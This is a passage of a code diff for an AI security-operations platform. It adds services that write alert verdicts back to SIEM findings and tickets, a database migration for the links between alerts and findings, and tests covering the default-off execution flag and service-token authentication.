+ last_writeback_status, last_writeback_detail, executed
+ FROM alert_source_links
+"""
+
+
+async def links_for_alert(db: AsyncSession, *, tenant_id: uuid.UUID, alert_id: uuid.UUID) -> list[AlertSourceLink]:
+ """Every source finding linked to one alert, scoped to the tenant."""
+ result = await db.execute(
+ text(f"{_SELECT} WHERE tenant_id = :tenant_id AND alert_id = :alert_id ORDER BY created_at"),
+ {"tenant_id": str(tenant_id), "alert_id": str(alert_id)},
+ )
+ return [_row_to_link(row) for row in result.fetchall()]
+
+
+async def link_for_external_id(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ vendor: str,
+ external_id: str,
+) -> AlertSourceLink | None:
+ """The reverse lookup: which alert did this vendor finding produce?"""
+ result = await db.execute(
+ text(f"{_SELECT} WHERE tenant_id = :tenant_id AND vendor = :vendor AND external_id = :external_id LIMIT 1"),
+ {"tenant_id": str(tenant_id), "vendor": vendor, "external_id": external_id},
+ )
+ row = result.fetchone()
+ return _row_to_link(row) if row else None
+
+
+async def upsert_link(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ alert_id: uuid.UUID,
+ vendor: str,
+ external_id: str,
+ connector_instance_id: uuid.UUID | None = None,
+ external_url: str | None = None,
+) -> AlertSourceLink | None:
+ """Record that ``alert_id`` came from ``external_id`` in ``vendor``.
+
+ Idempotent on ``(alert_id, vendor, external_id)``. Returns ``None`` rather
+ than raising if the write fails: losing a link costs a writeback, while
+ failing the caller would cost the alert.
+ """
+ if not external_id.strip():
+ return None
+ try:
+ result = await db.execute(
+ text(
+ """
+ INSERT INTO alert_source_links (
+ tenant_id, alert_id, vendor, external_id,
+ connector_instance_id, external_url, executed
+ ) VALUES (
+ :tenant_id, :alert_id, :vendor, :external_id,
+ :connector_instance_id, :external_url, FALSE
+ )
+ ON CONFLICT (alert_id, vendor, external_id) DO UPDATE SET
+ connector_instance_id = COALESCE(EXCLUDED.connector_instance_id,
+ alert_source_links.connector_instance_id),
+ external_url = COALESCE(EXCLUDED.external_url, alert_source_links.external_url),
+ updated_at = NOW()
+ RETURNING id, tenant_id, alert_id, vendor, external_id, connector_instance_id,
+ external_url, last_disposition, last_writeback_action,
+ last_writeback_status, last_writeback_detail, executed
+ """
+ ),
+ {
+ "tenant_id": str(tenant_id),
+ "alert_id": str(alert_id),
+ "vendor": vendor,
+ "external_id": external_id.strip(),
+ "connector_instance_id": str(connector_instance_id) if connector_instance_id else None,
+ "external_url": external_url,
+ },
+ )
+ row = result.fetchone()
+ await db.commit()
+ except Exception as exc: # noqa: BLE001 — a missing link must not fail the alert
+ await db.rollback()
+ logger.warning(
+ "alert_source_link.upsert_failed",
+ alert_id=str(alert_id),
+ vendor=vendor,
+ error=str(exc).replace("\r", "").replace("\n", " ")[:300],
+ )
+ return None
+ return _row_to_link(row) if row else None
+
+
+async def record_writeback(
+ db: AsyncSession,
+ *,
+ link_id: uuid.UUID,
+ tenant_id: uuid.UUID,
+ disposition: str,
+ writeback_action: str,
+ status: str,
+ executed: bool,
+ detail: str = "",
+) -> None:
+ """Persist the outcome of one writeback attempt.
+
+ ``executed`` is the field that carries the honesty requirement: a dry run
+ and a live call write the same row apart from this flag, so it is passed
+ explicitly by the caller rather than inferred from the status. A refusal
+ and a simulation both record ``executed=False`` with the reason in
+ ``detail``, so nothing downstream can read either as a vendor write that
+ happened.
+ """
+ try:
+ await db.execute(
+ text(
+ """
+ UPDATE alert_source_links
+ SET last_disposition = :disposition,
+ last_writeback_action = :writeback_action,
+ last_writeback_status = :status,
+ last_writeback_detail = :detail,
+ last_writeback_at = NOW(),
+ executed = :executed,
+ updated_at = NOW()
+ WHERE id = :link_id AND tenant_id = :tenant_id
+ """
+ ),
+ {
+ "link_id": str(link_id),
+ "tenant_id": str(tenant_id),
+ "disposition": disposition,
+ "writeback_action": writeback_action,
+ "status": status,
+ "detail": detail[:2000],
+ "executed": executed,
+ },
+ )
+ await db.commit()
+ except Exception as exc: # noqa: BLE001 — audit write must not fail the action
+ await db.rollback()
+ logger.warning(
+ "alert_source_link.record_failed",
+ link_id=str(link_id),
+ error=str(exc).replace("\r", "").replace("\n", " ")[:300],
+ )
diff --git a/services/api/app/services/siem_writeback.py b/services/api/app/services/siem_writeback.py
new file mode 100644
index 000000000..43c64cf58
--- /dev/null
+++ b/services/api/app/services/siem_writeback.py
@@ -0,0 +1,567 @@
+"""Close the loop: project an AiSOC verdict onto the finding that raised it.
+
+Two-way integration has only ever run inbound. A Splunk notable becomes an
+AiSOC alert, the agent triages it, and the notable sits in the Splunk queue
+untouched — so an analyst re-reads a finding AiSOC already dismissed, and a
+finding AiSOC confirmed waits its turn behind them. This service is the
+return leg.
+
+Why it lives in the API service
+-------------------------------
+The agents worker reaches it over HTTP rather than dispatching itself. The
+API holds the credential vault, the tenant-scoped database session and the
+actions-service token, and it is the single governed path a response action
+takes. Duplicating that in the worker would mean two places that can execute
+against a customer's SIEM, two audit trails, and two copies of the
+credential-handling code — and the second copy is the one that goes stale.
+
+Governance
+----------
+``AISOC_SIEM_WRITEBACK_ENABLED`` (default **on**) turns the feature off
+entirely. ``AISOC_SIEM_WRITEBACK_EXECUTE`` (default **off**) is what decides
+whether a vendor is actually called: with it off every attempt is dispatched
+as a dry run, recorded with ``executed=False``, and reported as
+``mode="dry_run"``. An operator opts in to writing into their own SIEM; they
+do not opt out.
+
+Nothing here raises. A writeback failure must never fail the triage that
+produced the verdict — the verdict is the durable thing, and losing it
+because Splunk was unreachable would be the wrong trade.
+"""
+
+from __future__ import annotations
+
+import os
+import uuid
+from dataclasses import asdict, dataclass, field
+from typing import Any
+
+import structlog
+from sqlalchemy import select, text
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.models.connector import Connector
+from app.security.credential_vault import CredentialVaultError, get_vault
+from app.services import actions_client
+from app.services.alert_source_link import (
+ AlertSourceLink,
+ links_for_alert,
+ record_writeback,
+)
+
+logger = structlog.get_logger(__name__)
+
+CAPABILITY = "update_alert_disposition"
+
+#: Dispositions the actions service will act on. Mirrored here only to skip a
+#: pointless round trip for a verdict that would be refused anyway — the
+#: authority is ``services/actions/app/services/disposition_writeback.py`` and
+#: this service never widens it.
+_ACTIONABLE: frozenset[str] = frozenset({"true_positive", "false_positive", "benign", "benign_true_positive", "escalate"})
+
+#: The subset that may close something. A confirmed true positive is not
+#: here, and that is the point: it escalates.
+_CLOSING_DISPOSITIONS: frozenset[str] = frozenset({"false_positive", "benign", "benign_true_positive"})
+
+
+def writeback_enabled() -> bool:
+ """Master switch. On by default; the execute flag is the one that bites."""
+ return os.getenv("AISOC_SIEM_WRITEBACK_ENABLED", "1").strip().lower() not in {"0", "false", "no", "off"}
+
+
+def writeback_executes() -> bool:
+ """Whether a vendor is actually called. **Off by default.**
+
+ Default-off because the failure mode is asymmetric: a writeback that did
+ not happen costs an analyst one duplicated triage, and a writeback that
+ happened when the operator did not expect it silently closed findings in
+ their system of record.
+ """
+ return os.getenv("AISOC_SIEM_WRITEBACK_EXECUTE", "0").strip().lower() in {"1", "true", "yes", "on"}
+
+
+@dataclass
+class WritebackOutcome:
+ """What happened to one source finding. Honest about what did not run."""
+
+ vendor: str
+ external_id: str
+ #: ``executed`` | ``dry_run`` | ``refused`` | ``simulated`` | ``failed`` | ``skipped``
+ status: str
+ #: TRUE only when a vendor call actually ran.
+ executed: bool
+ writeback_action: str = "refuse"
+ detail: str = ""
+
+ def as_dict(self) -> dict[str, Any]:
+ return asdict(self)
+
+
+@dataclass
+class WritebackReport:
+ """The whole attempt for one alert."""
+
+ alert_id: str
+ disposition: str
+ #: ``live`` | ``dry_run`` | ``disabled``
+ mode: str
+ outcomes: list[WritebackOutcome] = field(default_factory=list)
+
+ @property
+ def executed_count(self) -> int:
+ return sum(1 for outcome in self.outcomes if outcome.executed)
+
+ def as_dict(self) -> dict[str, Any]:
+ return {
+ "alert_id": self.alert_id,
+ "disposition": self.disposition,
+ "mode": self.mode,
+ # Named so no caller can mistake a dry run for a write. The UI and
+ # the API response both key off this rather than off `status`.
+ "executed": self.executed_count > 0,
+ "executed_count": self.executed_count,
+ "outcomes": [outcome.as_dict() for outcome in self.outcomes],
+ }
+
+
+async def write_back_disposition(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ alert_id: uuid.UUID,
+ disposition: str,
+ confidence: float | None = None,
+ rationale: str = "",
+ requested_by: str = "aisoc-agents",
+) -> WritebackReport:
+ """Write ``disposition`` back to every source finding behind ``alert_id``.
+
+ Never raises. Every branch that does not reach a vendor records
+ ``executed=False`` both in the returned report and on the link row.
+ """
+ dry_run = not writeback_executes()
+ report = WritebackReport(
+ alert_id=str(alert_id),
+ disposition=disposition,
+ mode="dry_run" if dry_run else "live",
+ )
+
+ if not writeback_enabled():
+ report.mode = "disabled"
+ logger.info("siem_writeback.disabled", alert_id=str(alert_id))
+ return report
+
+ if disposition not in _ACTIONABLE:
+ # Refused before it costs a round trip. The actions service refuses
+ # the same set; this is an optimisation, not a second policy.
+ logger.info("siem_writeback.not_actionable", alert_id=str(alert_id), disposition=disposition)
+ return report
+
+ links = await links_for_alert(db, tenant_id=tenant_id, alert_id=alert_id)
+ if not links:
+ logger.debug("siem_writeback.no_source_link", alert_id=str(alert_id))
+ return report
+
+ connectors = await _load_connectors(db, tenant_id=tenant_id, links=links)
+
+ for link in links:
+ report.outcomes.append(
+ await _write_one(
+ db,
+ tenant_id=tenant_id,
+ alert_id=alert_id,
+ link=link,
+ connector=connectors.get(link.connector_instance_id),
+ disposition=disposition,
+ confidence=confidence,
+ rationale=rationale,
+ requested_by=requested_by,
+ dry_run=dry_run,
+ )
+ )
+
+ report.outcomes.extend(
+ await _project_onto_ticket(
+ db,
+ tenant_id=tenant_id,
+ alert_id=alert_id,
+ disposition=disposition,
+ dry_run=dry_run,
+ )
+ )
+
+ logger.info(
+ "siem_writeback.complete",
+ alert_id=str(alert_id),
+ disposition=disposition,
+ mode=report.mode,
+ executed=report.executed_count,
+ attempted=len(report.outcomes),
+ )
+ return report
+
+
+def ticket_projection_enabled() -> bool:
+ """Whether a closing verdict may resolve the linked case. **Off.**
+
+ See :func:`_project_onto_ticket` for why this is a third flag rather than
+ riding on the execute flag.
+ """
+ return os.getenv("AISOC_SIEM_WRITEBACK_CLOSE_CASE", "0").strip().lower() in {"1", "true", "yes", "on"}
+
+
+async def _project_onto_ticket(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ alert_id: uuid.UUID,
+ disposition: str,
+ dry_run: bool,
+) -> list[WritebackOutcome]:
+ """Carry a closing verdict onto the Jira / ServiceNow ticket, if any.
+
+ The ITSM connectors project a *status transition*, not a comment: their
+ ``push_status_change`` maps an AiSOC case status onto a vendor state. So
+ the only honest way to reach a ticket is to make the transition real —
+ move the case, then let the existing fan-out project the status the case
+ actually has. Synthesising a transition the case never made would put a
+ resolution on someone's ticket that no AiSOC record supports, which is the
+ same defect as reporting a dry run as executed.
+
+ That makes this a bigger action than closing a SIEM finding: a case is a
+ unit of work with an owner. Hence its own flag, off by default, on top of
+ the execute flag. With it off the linked ticket is reported ``skipped``
+ with the reason, so the console shows an honest "not projected" rather
+ than silence.
+ """
+ row = (
+ await db.execute(
+ text("SELECT case_id FROM alerts WHERE id = :alert_id AND tenant_id = :tenant_id"),
+ {"alert_id": str(alert_id), "tenant_id": str(tenant_id)},
+ )
+ ).fetchone()
+ case_id = row.case_id if row else None
+ if not case_id:
+ return []
+
+ refs = (
+ await db.execute(
+ text(
+ """
+ SELECT vendor, external_id FROM case_external_refs
+ WHERE case_id = :case_id
+ """
+ ),
+ {"case_id": str(case_id)},
+ )
+ ).fetchall()
+ if not refs:
+ return []
+
+ if disposition not in _CLOSING_DISPOSITIONS:
+ return [
+ WritebackOutcome(
+ vendor=str(ref.vendor),
+ external_id=str(ref.external_id),
+ status="skipped",
+ executed=False,
+ writeback_action="escalate",
+ detail=(
+ f"Ticket left open: AiSOC reached {disposition}, and the ITSM connectors project a "
+ f"status transition rather than a note, so there is nothing truthful to write."
+ ),
+ )
+ for ref in refs
+ ]
+
+ if dry_run or not ticket_projection_enabled():
+ reason = "DRY RUN" if dry_run else "AISOC_SIEM_WRITEBACK_CLOSE_CASE is off"
+ return [
+ WritebackOutcome(
+ vendor=str(ref.vendor),
+ external_id=str(ref.external_id),
+ status="dry_run" if dry_run else "skipped",
+ executed=False,
+ writeback_action="close",
+ detail=(f"{reason} — the case was not resolved, so nothing was projected onto the ticket."),
+ )
+ for ref in refs
+ ]
+
+ return await _resolve_case_and_fan_out(db, tenant_id=tenant_id, case_id=case_id, disposition=disposition, refs=refs)
+
+
+async def _resolve_case_and_fan_out(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ case_id: Any,
+ disposition: str,
+ refs: list[Any],
+) -> list[WritebackOutcome]:
+ """Move the case to resolved, then project the status it now has."""
+ from app.models.case import Case # noqa: PLC0415 — avoids a models import cycle at startup
+ from app.services.case_fanout import fanout_status_change # noqa: PLC0415 — same
+
+ case_row = (await db.execute(select(Case).where(Case.id == case_id, Case.tenant_id == tenant_id))).scalar_one_or_none()
+ if case_row is None:
+ return []
+
+ old_status = str(getattr(case_row, "status", "") or "")
+ if old_status in {"resolved", "closed"}:
+ return [
+ WritebackOutcome(
+ vendor=str(ref.vendor),
+ external_id=str(ref.external_id),
+ status="skipped",
+ executed=False,
+ writeback_action="close",
+ detail="Case was already resolved; no transition to project.",
+ )
+ for ref in refs
+ ]
+
+ case_row.status = "resolved"
+ await db.commit()
+ await db.refresh(case_row)
+
+ results = await fanout_status_change(
+ db,
+ case_row=case_row,
+ tenant_id=tenant_id,
+ old_status=old_status,
+ new_status="resolved",
+ pushed_by="aisoc-writeback",
+ )
+ return [
+ WritebackOutcome(
+ vendor=result.connector_type,
+ external_id=result.external_id or "",
+ status="executed" if result.status == "ok" else "failed",
+ executed=result.status == "ok",
+ writeback_action="close",
+ detail=(result.error or f"Case resolved after an AiSOC {disposition} verdict; ticket transitioned."),
+ )
+ for result in results
+ ]
+
+
+async def _load_connectors(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ links: list[AlertSourceLink],
+) -> dict[uuid.UUID, Connector]:
+ """Fetch the live connector rows the links point at, tenant-scoped.
+
+ Read fresh rather than cached on the link: credentials rotate, and a
+ writeback using the values that were current when the alert was ingested
+ would start failing silently the first time someone rolls a token.
+ """
+ instance_ids = [link.connector_instance_id for link in links if link.connector_instance_id]
+ if not instance_ids:
+ return {}
+ result = await db.execute(
+ text("SELECT * FROM connectors WHERE tenant_id = :tenant_id AND id = ANY(:ids)"),
+ {"tenant_id": str(tenant_id), "ids": [str(i) for i in instance_ids]},
+ )
+ rows = result.mappings().all()
+ out: dict[uuid.UUID, Connector] = {}
+ for row in rows:
+ connector = Connector()
+ for key, value in row.items():
+ if hasattr(connector, key):
+ setattr(connector, key, value)
+ out[connector.id] = connector
+ return out
+
+
+async def _write_one(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ alert_id: uuid.UUID,
+ link: AlertSourceLink,
+ connector: Connector | None,
+ disposition: str,
+ confidence: float | None,
+ rationale: str,
+ requested_by: str,
+ dry_run: bool,
+) -> WritebackOutcome:
+ """One link, one dispatch. Records the outcome and returns it."""
+ if not link.dispatchable:
+ return await _record(
+ db,
+ tenant_id=tenant_id,
+ link=link,
+ disposition=disposition,
+ outcome=WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="skipped",
+ executed=False,
+ detail=f"no disposition-writeback arm for vendor {link.vendor!r}",
+ ),
+ )
+
+ auth_config: dict[str, Any] = {}
+ if connector is not None:
+ try:
+ auth_config = get_vault().decrypt_dict(connector.auth_config or {})
+ except CredentialVaultError as exc:
+ return await _record(
+ db,
+ tenant_id=tenant_id,
+ link=link,
+ disposition=disposition,
+ outcome=WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="failed",
+ executed=False,
+ detail=f"credential decryption failed: {exc}",
+ ),
+ )
+ auth_config.update(_operational_config(connector))
+
+ params: dict[str, Any] = {
+ "disposition": disposition,
+ "rationale": rationale,
+ "aisoc_alert_id": str(alert_id),
+ # The vendor is pinned so credential ordering cannot decide it — and
+ # the actions service checks the pin against the credentials before
+ # honouring it, so pinning a vendor this tenant has not configured
+ # simulates rather than claiming an arm ran.
+ "alert_vendor": link.vendor,
+ }
+ if confidence is not None:
+ params["confidence"] = confidence
+
+ try:
+ body = await actions_client.dispatch_live_action(
+ capability=CAPABILITY,
+ vendor_id=link.vendor,
+ target=link.external_id,
+ tenant_id=str(tenant_id),
+ params=params,
+ auth_config=auth_config or None,
+ dry_run=dry_run,
+ requested_by=requested_by,
+ )
+ except actions_client.ActionsServiceError as exc:
+ return await _record(
+ db,
+ tenant_id=tenant_id,
+ link=link,
+ disposition=disposition,
+ outcome=WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="failed",
+ executed=False,
+ detail=exc.upstream_detail,
+ ),
+ )
+
+ return await _record(
+ db,
+ tenant_id=tenant_id,
+ link=link,
+ disposition=disposition,
+ outcome=_interpret(link, body, dry_run=dry_run),
+ )
+
+
+def _operational_config(connector: Connector) -> dict[str, Any]:
+ """Non-secret per-instance settings the writeback needs.
+
+ Today that is QRadar's closing reason id, which is deployment-specific and
+ which QRadar refuses a close without. Read from ``connector_config``
+ rather than ``auth_config`` because it is configuration, not a secret, and
+ it must not be encrypted at rest as though it were one.
+ """
+ config = connector.connector_config or {}
+ out: dict[str, Any] = {}
+ for key in ("closing_reason_id", "owner", "owner_upn"):
+ if config.get(key) is not None:
+ out[key] = config[key]
+ return out
+
+
+def _interpret(link: AlertSourceLink, body: dict[str, Any], *, dry_run: bool) -> WritebackOutcome:
+ """Translate a live-action response into an honest outcome.
+
+ The load-bearing line is ``executed``. The actions service returns
+ ``written`` on the result details and that is the only thing trusted here:
+ a SIMULATED status, a refusal and a dry run all produce ``written=False``,
+ and none of them may be reported as a write that happened.
+ """
+ result = body.get("result") if isinstance(body.get("result"), dict) else {}
+ details = result.get("details") if isinstance(result.get("details"), dict) else {}
+ status = str(result.get("status") or "")
+ written = bool(details.get("written"))
+ action = str(details.get("writeback_action") or "refuse")
+ reason = str(details.get("reason") or result.get("summary") or "")
+
+ if status == "failed":
+ return WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="failed",
+ executed=False,
+ writeback_action=action,
+ detail=str(result.get("error") or reason)[:2000],
+ )
+
+ if dry_run:
+ return WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="dry_run",
+ executed=False,
+ writeback_action=action,
+ detail=f"DRY RUN — nothing was written to {link.vendor}. {reason}".strip(),
+ )
+
+ if not written:
+ # Either the disposition was refused or there were no usable
+ # credentials. Both are real outcomes and neither is a write.
+ return WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="simulated" if status == "simulated" else "refused",
+ executed=False,
+ writeback_action=action,
+ detail=reason[:2000],
+ )
+
+ return WritebackOutcome(
+ vendor=link.vendor,
+ external_id=link.external_id,
+ status="executed",
+ executed=True,
+ writeback_action=action,
+ detail=reason[:2000],
+ )
+
+
+async def _record(
+ db: AsyncSession,
+ *,
+ tenant_id: uuid.UUID,
+ link: AlertSourceLink,
+ disposition: str,
+ outcome: WritebackOutcome,
+) -> WritebackOutcome:
+ await record_writeback(
+ db,
+ link_id=link.id,
+ tenant_id=tenant_id,
+ disposition=disposition,
+ writeback_action=outcome.writeback_action,
+ status=outcome.status,
+ executed=outcome.executed,
+ detail=outcome.detail,
+ )
+ return outcome
diff --git a/services/api/migrations/057_alert_source_links.sql b/services/api/migrations/057_alert_source_links.sql
new file mode 100644
index 000000000..e627e8f49
--- /dev/null
+++ b/services/api/migrations/057_alert_source_links.sql
@@ -0,0 +1,104 @@
+-- Alert <-> source-finding reconciliation, so the loop can close both ways.
+--
+-- Ingest already knows the vendor's own identifier for a finding: the
+-- normalizer maps `external_id` onto OCSF `finding.uid` for every connector
+-- that emits a canonical envelope. Nothing downstream kept it. By the time a
+-- row reached `alerts` the Splunk notable's rule UID, the Elastic signal id
+-- and the QRadar offense id had all been discarded, so there was no way to
+-- answer "which finding produced this alert" — and therefore no way to write
+-- a verdict back to it.
+--
+-- Two additions, deliberately separate:
+--
+-- `alerts.external_id` is the denormalised join key. One per alert, on the
+-- row itself, because it is read on every alert fetch and a join for a
+-- single string would be the wrong shape.
+--
+-- `alert_source_links` is the reconciliation record: which connector
+-- instance produced the finding, what was last written back to it, when,
+-- and whether that write actually executed or was a dry run. It is a
+-- separate table because one alert can legitimately be linked to findings
+-- in more than one system (a Splunk notable and the ServiceNow ticket the
+-- SOC raised from it), and because the writeback audit trail grows per
+-- attempt while the alert row does not.
+--
+-- `executed` is the column that keeps this honest. A dry run writes a row
+-- exactly like a live call does — same disposition, same plan, same
+-- timestamp — and the only thing distinguishing them is this boolean. It has
+-- no default: a writer that forgets to say which it was gets an error rather
+-- than a row that reads as executed.
+
+ALTER TABLE alerts
+ ADD COLUMN IF NOT EXISTS external_id TEXT;
+
+COMMENT ON COLUMN alerts.external_id IS
+ 'The source system''s own identifier for the finding that produced this alert (Splunk notable rule UID, Elastic signal id, Sentinel incident name, QRadar offense id). NULL when the alert did not originate from a vendor finding.';
+
+-- Writeback resolves an alert by (tenant, external id), and dedup of repeat
+-- deliveries reads the same pair. Partial because most alerts have no vendor
+-- finding behind them and indexing their NULLs would be dead weight.
+CREATE INDEX IF NOT EXISTS idx_alerts_external_id
+ ON alerts (tenant_id, external_id)
+ WHERE external_id IS NOT NULL;
+
+
+CREATE TABLE IF NOT EXISTS alert_source_links (
+ id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
+ tenant_id UUID NOT NULL REFERENCES tenants(id) ON DELETE CASCADE,
+ alert_id UUID NOT NULL REFERENCES alerts(id) ON DELETE CASCADE,
+
+ -- Which system the finding lives in, and which configured instance of it.
+ -- `vendor` is the live-actions vendor id ('splunk', 'elastic', 'sentinel',
+ -- 'qradar', 'defender'), not the connector type, because that is what the
+ -- dispatcher routes on.
+ vendor TEXT NOT NULL,
+ connector_instance_id UUID,
+
+ -- The vendor's identifier for the finding. The join key.
+ external_id TEXT NOT NULL,
+ external_url TEXT,
+
+ -- Last writeback attempt.
+ last_disposition TEXT,
+ last_writeback_action TEXT,
+ last_writeback_status TEXT,
+ last_writeback_at TIMESTAMPTZ,
+ last_writeback_detail TEXT,
+
+ -- FALSE means nothing reached the vendor: a dry run, a refusal, or a
+ -- simulation for want of credentials. No default on purpose.
+ executed BOOLEAN NOT NULL,
+
+ created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+ updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+
+ -- One link per (alert, vendor, finding). A repeat writeback for the same
+ -- verdict updates in place rather than growing an unbounded log — the
+ -- durable history of who decided what lives in the investigation ledger,
+ -- and duplicating it here would give two sources of truth that drift.
+ CONSTRAINT uq_alert_source_link UNIQUE (alert_id, vendor, external_id)
+);
+
+COMMENT ON TABLE alert_source_links IS
+ 'Reconciles an AiSOC alert with the vendor finding that produced it, and records what was last written back to that finding.';
+COMMENT ON COLUMN alert_source_links.executed IS
+ 'TRUE only when a vendor call actually ran. FALSE for dry runs, refusals and credential-less simulations, so an unexecuted writeback can never be read as an executed one.';
+
+CREATE INDEX IF NOT EXISTS idx_alert_source_links_alert
+ ON alert_source_links (alert_id);
+
+-- The writeback path's own lookup: "given this tenant and this vendor finding,
+-- which alert is it". Also what a connector poll uses to dedup a re-delivered
+-- finding.
+CREATE INDEX IF NOT EXISTS idx_alert_source_links_lookup
+ ON alert_source_links (tenant_id, vendor, external_id);
+
+-- Row-level security mirrors the rest of the schema. The API additionally
+-- filters by tenant_id in every WHERE clause; RLS is defence in depth, not
+-- the only control.
+ALTER TABLE alert_source_links ENABLE ROW LEVEL SECURITY;
+ALTER TABLE alert_source_links FORCE ROW LEVEL SECURITY;
+
+DROP POLICY IF EXISTS alert_source_links_tenant ON alert_source_links;
+CREATE POLICY alert_source_links_tenant ON alert_source_links
+ USING (tenant_id = current_tenant_id() OR current_tenant_id() IS NULL);
diff --git a/services/api/tests/test_alert_writeback_auth.py b/services/api/tests/test_alert_writeback_auth.py
new file mode 100644
index 000000000..e8260b60a
--- /dev/null
+++ b/services/api/tests/test_alert_writeback_auth.py
@@ -0,0 +1,90 @@
+"""The writeback route's two identities, and the one that must fail closed.
+
+A route that can change state in a customer's SIEM needs a caller. Two are
+allowed: a session with ``alerts:write``, and the agents worker holding a
+shared service token.
+
+The failure mode being guarded is the familiar one — an unset shared secret
+compared against an absent header, both empty, both equal. That turns an
+internal route into an unauthenticated one, and here it would let anyone close
+findings in any tenant's SIEM. An unset token disables the service path
+instead.
+"""
+
+from __future__ import annotations
+
+import uuid
+
+import pytest
+from app.api.v1.endpoints.alert_writeback import _resolve_caller, service_token_valid
+from fastapi import HTTPException
+
+
+class _User:
+ def __init__(self, tenant_id: uuid.UUID, *, allowed: bool = True) -> None:
+ self.tenant_id = tenant_id
+ self.email = "[email protected]"
+ self._allowed = allowed
+
+ def require_permission(self, permission: str) -> None:
+ if not self._allowed:
+ raise HTTPException(status_code=403, detail=f"Permission denied: {permission}")
+
+
+def test_unset_token_disables_the_service_path(monkeypatch) -> None:
+ monkeypatch.delenv("AISOC_AGENTS_SERVICE_TOKEN", raising=False)
+ assert service_token_valid(None) is False
+ assert service_token_valid("") is False
+ # The specific trap: both sides empty must not compare equal.
+ assert service_token_valid(" ") is False
+
+
+def test_empty_configured_token_never_matches_an_empty_header(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_AGENTS_SERVICE_TOKEN", " ")
+ assert service_token_valid("") is False
+ assert service_token_valid(" ") is False
+
+
+def test_configured_token_matches_exactly(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_AGENTS_SERVICE_TOKEN", "shared-secret-value")
+ assert service_token_valid("shared-secret-value") is True
+ assert service_token_valid("shared-secret-valu") is False
+ assert service_token_valid("Shared-Secret-Value") is False
+
+
+def test_unauthenticated_caller_is_refused(monkeypatch) -> None:
+ monkeypatch.delenv("AISOC_AGENTS_SERVICE_TOKEN", raising=False)
+ with pytest.raises(HTTPException) as exc:
+ _resolve_caller(uuid.uuid4(), None, None)
+ assert exc.value.status_code == 401
+
+
+def test_service_caller_must_name_its_tenant(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_AGENTS_SERVICE_TOKEN", "shared-secret-value")
+ with pytest.raises(HTTPException) as exc:
+ _resolve_caller(None, None, "shared-secret-value")
+ assert exc.value.status_code == 400
+
+
+def test_service_caller_with_a_tenant_is_admitted(monkeypatch) -> None:
+ monkeypatch.setenv("AISOC_AGENTS_SERVICE_TOKEN", "shared-secret-value")
+ tenant = uuid.uuid4()
+ resolved, requested_by = _resolve_caller(tenant, None, "shared-secret-value")
+ assert resolved == tenant
+ assert requested_by == "aisoc-agents"
+
+
+def test_a_session_tenant_wins_over_the_body(monkeypatch) -> None:
+ """A user must not be able to write a disposition into another tenant."""
+ monkeypatch.setenv("AISOC_AGENTS_SERVICE_TOKEN", "shared-secret-value")
+ session_tenant = uuid.uuid4()
+ other_tenant = uuid.uuid4()
+ resolved, requested_by = _resolve_caller(other_tenant, _User(session_tenant), "shared-secret-value")
+ assert resolved == session_tenant
+ assert requested_by.startswith("user:")
+
+
+def test_a_session_without_the_permission_is_refused() -> None:
+ with pytest.raises(HTTPException) as exc:
+ _resolve_caller(None, _User(uuid.uuid4(), allowed=False), None)
+ assert exc.value.status_code == 403
diff --git a/services/api/tests/test_siem_writeback.py b/services/api/tests/test_siem_writeback.py
new file mode 100644
index 000000000..c6c8b94d1
--- /dev/null
+++ b/services/api/tests/test_siem_writeback.py
@@ -0,0 +1,275 @@
+"""Governance and honesty of the disposition writeback.
+
+Three things this has to get right, and one it must never do.
+
+Right: the feature is on but does not execute by default; a dry run is
+dispatched as a dry run and recorded as one; a refusal, a simulation and a
+transport failure all record ``executed=False``.
+
+Never: report an unexecuted writeback as executed. Every branch below asserts
+on ``executed`` rather than on the HTTP status, because at the HTTP layer a
+dry run and a live call are both 200.
+"""
+
+from __future__ import annotations
+
+import uuid
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+from app.services import siem_writeback
+from app.services.alert_source_link import AlertSourceLink
+
+TENANT = uuid.uuid4()
+ALERT = uuid.uuid4()
+
+
+def _link(vendor: str = "splunk", external_id: str = "NOTABLE-42") -> AlertSourceLink:
+ return AlertSourceLink(
+ id=uuid.uuid4(),
+ tenant_id=TENANT,
+ alert_id=ALERT,
+ vendor=vendor,
+ external_id=external_id,
+ connector_instance_id=None,
+ )
+
+
+def _db() -> MagicMock:
+ db = MagicMock()
+ db.execute = AsyncMock(return_value=SimpleNamespace(fetchone=lambda: None, fetchall=lambda: []))
+ db.commit = AsyncMock()
+ db.rollback = AsyncMock()
+ return db
+
+
+def _dispatch_response(*, status: str = "succeeded", written: bool = True, action: str = "close") -> dict:
+ return {
+ "result": {
+ "status": status,
+ "summary": "s",
+ "details": {"written": written, "writeback_action": action, "reason": "because"},
+ },
+ "mode": "live",
+ }
+
+
+# ── Governance defaults ────────────────────────────────────────────────────
+
+
+def test_enabled_by_default(monkeypatch) -> None:
+ monkeypatch.delenv("AISOC_SIEM_WRITEBACK_ENABLED", raising=False)
+ assert siem_writeback.writeback_enabled() is True
+
+
+def test_execute_is_off_by_default(monkeypatch) -> None:
+ """The flag that decides whether a customer's SIEM is touched."""
+ monkeypatch.delenv("AISOC_SIEM_WRITEBACK_EXECUTE", raising=False)
+ assert siem_writeback.writeback_executes() is False
+
+
